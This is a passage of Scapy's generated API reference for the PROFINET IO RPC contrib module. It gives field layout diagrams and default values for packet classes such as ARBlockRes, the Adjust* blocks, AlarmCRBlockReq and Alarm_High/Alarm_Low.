+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ARUUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SESSIONKEY          |       CMRESPONDERMACADD       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CMRESPONDERUDPRTPORT     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ARBlockRes                          


ARBlockRes fields






	block_type

	ShortEnumField

	33025



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	ARType

	XShortEnumField

	1



	ARUUID

	UUIDField

	None



	SessionKey

	ShortField

	0



	CMResponderMacAdd

	MACField

	None



	CMResponderUDPRTPort

	ShortField

	34962















	
class scapy.contrib.pnio_rpc.AdjustDCPBoundary(_pkt, /, *, block_type=549, block_length=None, block_version_high=1, block_version_low=0, padding1=b'', dcpBoundary=0, adjustProperties=0, padding2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1001-L1010]

	Bases: Block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            PADDING1           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DCPBOUNDARY                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ADJUSTPROPERTIES       |            PADDING2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. AdjustDCPBoundary                      


AdjustDCPBoundary fields






	block_type

	ShortEnumField

	549



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding1

	StrFixedLenField

	b''



	dcpBoundary

	IntField

	0



	adjustProperties

	ShortField

	0



	padding2

	PadField

	0















	
class scapy.contrib.pnio_rpc.AdjustDomainBoundary(_pkt, /, *, block_type=521, block_length=None, block_version_high=1, block_version_low=0, padding1=b'', DomainBoundaryIngress=0, DomainBoundaryEgress=0, adjustProperties=0, padding2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L948-L964]

	Bases: Block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            PADDING1           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     DOMAINBOUNDARYINGRESS                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      DOMAINBOUNDARYEGRESS                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ADJUSTPROPERTIES       |            PADDING2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. AdjustDomainBoundary                     


AdjustDomainBoundary fields






	block_type

	ShortEnumField

	521



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding1

	StrFixedLenField

	b''



	DomainBoundaryIngress

	IntEnumField

	0



	DomainBoundaryEgress

	IntEnumField

	0



	adjustProperties

	ShortField

	0



	padding2

	PadField

	0















	
class scapy.contrib.pnio_rpc.AdjustLinkState(_pkt, /, *, block_type=539, block_length=None, block_version_high=1, block_version_low=0, padding=b'', LinkState=0, AdjustProperties=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L925-L933]

	Bases: Block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LINKSTATE           |        ADJUSTPROPERTIES       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. AdjustLinkState                       


AdjustLinkState fields






	block_type

	ShortEnumField

	539



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding

	StrFixedLenField

	b''



	LinkState

	XShortEnumField

	0



	AdjustProperties

	ShortField

	0















	
class scapy.contrib.pnio_rpc.AdjustMauType(_pkt, /, *, block_type=526, block_length=None, block_version_high=1, block_version_low=0, padding=0, MAUType=1, adjustProperties=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L979-L987]

	Bases: Block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MAUTYPE            |        ADJUSTPROPERTIES       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. AdjustMauType                        


AdjustMauType fields






	block_type

	ShortEnumField

	526



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding

	PadField

	0



	MAUType

	XShortEnumField

	1



	adjustProperties

	ShortField

	0















	
class scapy.contrib.pnio_rpc.AdjustMauTypeExtension(_pkt, /, *, block_type=553, block_length=None, block_version_high=1, block_version_low=0, padding=0, MAUTypeExtension=0, adjustProperties=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L990-L998]

	Bases: Block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        MAUTYPEEXTENSION       |        ADJUSTPROPERTIES       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. AdjustMauTypeExtension                    


AdjustMauTypeExtension fields






	block_type

	ShortEnumField

	553



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding

	PadField

	0



	MAUTypeExtension

	XShortEnumField

	0



	adjustProperties

	ShortField

	0















	
class scapy.contrib.pnio_rpc.AdjustMulticastBoundary(_pkt, /, *, block_type=528, block_length=None, block_version_high=1, block_version_low=0, padding1=b'', MulticastAddress=0, adjustProperties=0, padding2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L967-L976]

	Bases: Block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            PADDING1           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        MULTICASTADDRESS                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ADJUSTPROPERTIES       |            PADDING2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. AdjustMulticastBoundary                   


AdjustMulticastBoundary fields






	block_type

	ShortEnumField

	528



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding1

	StrFixedLenField

	b''



	MulticastAddress

	IntField

	0



	adjustProperties

	ShortField

	0



	padding2

	PadField

	0















	
class scapy.contrib.pnio_rpc.AdjustPeerToPeerBoundary(_pkt, /, *, block_type=548, block_length=None, block_version_high=1, block_version_low=0, padding1=b'', peerToPeerBoundary=0, adjustProperties=0, padding2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L936-L945]

	Bases: Block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            PADDING1           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       PEERTOPEERBOUNDARY                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ADJUSTPROPERTIES       |            PADDING2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. AdjustPeerToPeerBoundary                   


AdjustPeerToPeerBoundary fields






	block_type

	ShortEnumField

	548



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding1

	StrFixedLenField

	b''



	peerToPeerBoundary

	IntField

	0



	adjustProperties

	ShortField

	0



	padding2

	PadField

	0















	
class scapy.contrib.pnio_rpc.AlarmCRBlockReq(_pkt, /, *, block_type=259, block_length=None, block_version_high=1, block_version_low=0, AlarmCRType=1, LT=34962, AlarmCRProperties_Priority=0, AlarmCRProperties_Transport=0, AlarmCRProperties_Reserved1=0, AlarmCRProperties_Reserved2=0, RTATimeoutFactor=1, RTARetries=3, LocalAlarmReference=3, MaxAlarmDataLength=200, AlarmCRTagHeaderHigh=49152, AlarmCRTagHeaderLow=40960)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1133-L1169]

	Bases: Block

Alarm CR block request


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|          ALARMCRTYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               LT              |A|A|ALARMCRPROPERTIES RESERVED1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |ALARMCRPROPERTI|        RTATIMEOUTFACTOR       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RTARETRIES          |      LOCALALARMREFERENCE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       MAXALARMDATALENGTH      |      ALARMCRTAGHEADERHIGH     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      ALARMCRTAGHEADERLOW      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. AlarmCRBlockReq                       


AlarmCRBlockReq fields






	block_type

	ShortEnumField

	259



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	AlarmCRType

	XShortEnumField

	1



	LT

	ShortField

	34962



	AlarmCRProperties_Priority

	BitField  (1 bit)

	0



	AlarmCRProperties_Transport

	BitEnumField

	0



	AlarmCRProperties_Reserved1

	BitField  (22 bits)

	0



	AlarmCRProperties_Reserved2

	BitField  (8 bits)

	0



	RTATimeoutFactor

	ShortField

	1



	RTARetries

	ShortField

	3



	LocalAlarmReference

	ShortField

	3



	MaxAlarmDataLength

	ShortField

	200



	AlarmCRTagHeaderHigh

	ShortField

	49152



	AlarmCRTagHeaderLow

	ShortField

	40960











	
get_response()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1160-L1169]

	Generate the response block of this request.
Careful: it only sets the fields which can be set from the request






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1153-L1158]

	








	
class scapy.contrib.pnio_rpc.AlarmCRBlockRes(_pkt, /, *, block_type=33027, block_length=None, block_version_high=1, block_version_low=0, AlarmCRType=1, LocalAlarmReference=0, MaxAlarmDataLength=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1172-L1180]

	Bases: Block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|          ALARMCRTYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LOCALALARMREFERENCE      |       MAXALARMDATALENGTH      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. AlarmCRBlockRes                       


AlarmCRBlockRes fields






	block_type

	ShortEnumField

	33027



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	AlarmCRType

	XShortEnumField

	1



	LocalAlarmReference

	ShortField

	0



	MaxAlarmDataLength

	ShortField

	0















	
class scapy.contrib.pnio_rpc.AlarmItem(_pkt, /, *, UserStructureIdentifier=0, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1183-L1190]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1189-L1190]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    USERSTRUCTUREIDENTIFIER    |              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. AlarmItem                          


AlarmItem fields






	UserStructureIdentifier

	XShortField

	0



	load

	PacketField

	b''















	
class scapy.contrib.pnio_rpc.AlarmNotificationPDU(_pkt, /, *, block_type=None, block_length=None, block_version_high=1, block_version_low=0, AlarmType=0, API=0, SlotNumber=0, SubslotNumber=0, ModuleIdentNumber=0, SubmoduleIdentNUmber=0, AlarmSpecifier=0, AlarmPayload=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1309-L1321]

	Bases: Block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|           ALARMTYPE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       MODULEIDENTNUMBER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      SUBMODULEIDENTNUMBER                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ALARMSPECIFIER        |          ALARMPAYLOAD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. AlarmNotificationPDU                     


AlarmNotificationPDU fields






	block_type

	ShortEnumField

	None



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	AlarmType

	ShortField

	0



	API

	XIntField

	0



	SlotNumber

	ShortField

	0



	SubslotNumber

	ShortField

	0



	ModuleIdentNumber

	XIntField

	0



	SubmoduleIdentNUmber

	XIntField

	0



	AlarmSpecifier

	XShortField

	0



	AlarmPayload

	PacketListField

	[]















	
class scapy.contrib.pnio_rpc.AlarmNotification_High(_pkt, /, *, block_type=1, block_length=None, block_version_high=1, block_version_low=0, AlarmType=0, API=0, SlotNumber=0, SubslotNumber=0, ModuleIdentNumber=0, SubmoduleIdentNUmber=0, AlarmSpecifier=0, AlarmPayload=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1324-L1325]

	Bases: AlarmNotificationPDU


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|           ALARMTYPE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       MODULEIDENTNUMBER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      SUBMODULEIDENTNUMBER                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ALARMSPECIFIER        |          ALARMPAYLOAD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. AlarmNotification_High                    


AlarmNotification_High fields






	block_type

	ShortEnumField

	1



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	AlarmType

	ShortField

	0



	API

	XIntField

	0



	SlotNumber

	ShortField

	0



	SubslotNumber

	ShortField

	0



	ModuleIdentNumber

	XIntField

	0



	SubmoduleIdentNUmber

	XIntField

	0



	AlarmSpecifier

	XShortField

	0



	AlarmPayload

	PacketListField

	[]















	
class scapy.contrib.pnio_rpc.AlarmNotification_Low(_pkt, /, *, block_type=2, block_length=None, block_version_high=1, block_version_low=0, AlarmType=0, API=0, SlotNumber=0, SubslotNumber=0, ModuleIdentNumber=0, SubmoduleIdentNUmber=0, AlarmSpecifier=0, AlarmPayload=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1328-L1329]

	Bases: AlarmNotificationPDU


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|           ALARMTYPE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       MODULEIDENTNUMBER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      SUBMODULEIDENTNUMBER                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ALARMSPECIFIER        |          ALARMPAYLOAD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. AlarmNotification_Low                    


AlarmNotification_Low fields






	block_type

	ShortEnumField

	2



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	AlarmType

	ShortField

	0



	API

	XIntField

	0



	SlotNumber

	ShortField

	0



	SubslotNumber

	ShortField

	0



	ModuleIdentNumber

	XIntField

	0



	SubmoduleIdentNUmber

	XIntField

	0



	AlarmSpecifier

	XShortField

	0



	AlarmPayload

	PacketListField

	[]















	
class scapy.contrib.pnio_rpc.Alarm_High(_pkt, /, *, AlarmDstEndpoint=0, AlarmSrcEndpoint=0, PDUTypeType=0, PDUTypeVersion=0, AddFlags=0, SendSeqNum=0, AckSeqNum=0, VarPartLen=0, RTA_SDU=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1375-L1379]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ALARMDSTENDPOINT       |        ALARMSRCENDPOINT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PDUTYPE|PDUTYPE|    ADDFLAGS   |           SENDSEQNUM          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ACKSEQNUM           |           VARPARTLEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RTA SDU            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. Alarm_High                          


Alarm_High fields






	AlarmDstEndpoint

	ShortField

	0



	AlarmSrcEndpoint

	ShortField

	0



	PDUTypeType

	BitEnumField

	0



	PDUTypeVersion

	BitEnumField

	0



	AddFlags

	BitField  (8 bits)

	0



	SendSeqNum

	XShortField

	0



	AckSeqNum

	XShortField

	0



	VarPartLen

	XShortField

	0



	RTA_SDU

	PacketField

	None















	
class scapy.contrib.pnio_rpc.Alarm_Low(_pkt, /, *, AlarmDstEndpoint=0, AlarmSrcEndpoint=0, PDUTypeType=0, PDUTypeVersion=0, AddFlags=0, SendSeqNum=0, AckSeqNum=0, VarPartLen=0, RTA_SDU=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1368-L1372]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ALARMDSTENDPOINT       |        ALARMSRCENDPOINT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PDUTYPE|PDUTYPE|    ADDFLAGS   |           SENDSEQNUM          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ACKSEQNUM           |           VARPARTLEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RTA SDU            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Alarm_Low                          


Alarm_Low fields






	AlarmDstEndpoint

	ShortField

	0



	AlarmSrcEndpoint

	ShortField

	0



	PDUTypeType

	BitEnumField

	0



	PDUTypeVersion

	BitEnumField

	0



	AddFlags

	BitField  (8 bits)

	0



	SendSeqNum

	XShortField

	0



	AckSeqNum

	XShortField

	0



	VarPartLen

	XShortField

	0



	RTA_SDU

	PacketField

	None















	
